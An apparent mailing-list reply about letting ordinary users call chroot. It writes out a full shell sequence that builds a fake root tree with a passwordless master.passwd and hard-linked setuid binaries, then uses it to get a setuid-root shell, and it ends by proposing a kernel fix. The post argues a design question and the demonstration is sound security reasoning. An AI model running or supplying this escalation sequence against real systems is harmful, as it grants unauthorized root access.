>>So, I was thinking, "why doesn't it presently?".  The only reason I can
>>see is that if the user has (or can create) a writeable directory on
>>the same filesystem as certain set-id executables, it becomes really
>
>I believe the restriction was to prevent users creating their own
>/etc/passwd etc.

yeah, heh.  easy too.

if users can use chroot...then it follows that % is an ordinary user,
$ is the user in the chrooted environment, and # is the root user in
the chrooted environment...

% cd /usr/tmp
% mkdir -p bin etc usr/bin usr/sbin usr/lib usr/libexec
% cp /bin/{sh,chmod} bin
% echo "root::0:0::0:0::/:" > etc/master.passwd
% echo "PATH=/bin:/sbin:/usr/bin:/usr/sbin" > .profile
% ln ../bin/login usr/bin
% ln ../sbin/{pwd_mkdb,chown} usr/sbin
% ln ../lib/lib{util.so.3.2,c.so.12.5.1,crypt.so.0.0,skey.so.0.0} usr/lib
% ln ../libexec/ld.so usr/libexec
% chroot /usr/tmp /bin/sh
$ pwd_mkdb /etc/master.passwd
$ login -f root
# chown 0.0 /bin/sh
# chmod 4755 /bin/sh
# exit
$ exit
% ./bin/sh -c id
uid=204(andrew) euid=0(root) gid=20(staff) groups=20(staff), 0(wheel)...

it seems to me that simply disabling suid executables in chrooted
environments would work quite well against this.  something like
checking curproc->p_fd->fd_rdir <=> proc0->p_fd->fd_rdir would tell
you if it was chrooted, eh?

-- 
|-----< "CODE WARRIOR" >-----|
codewarrior@daemon.org             * "ah!  i see you have the internet
twofsonet@graffiti.com (Andrew Brown)                that goes *ping*!"
warfare@graffiti.com      * "information is power -- share the wealth."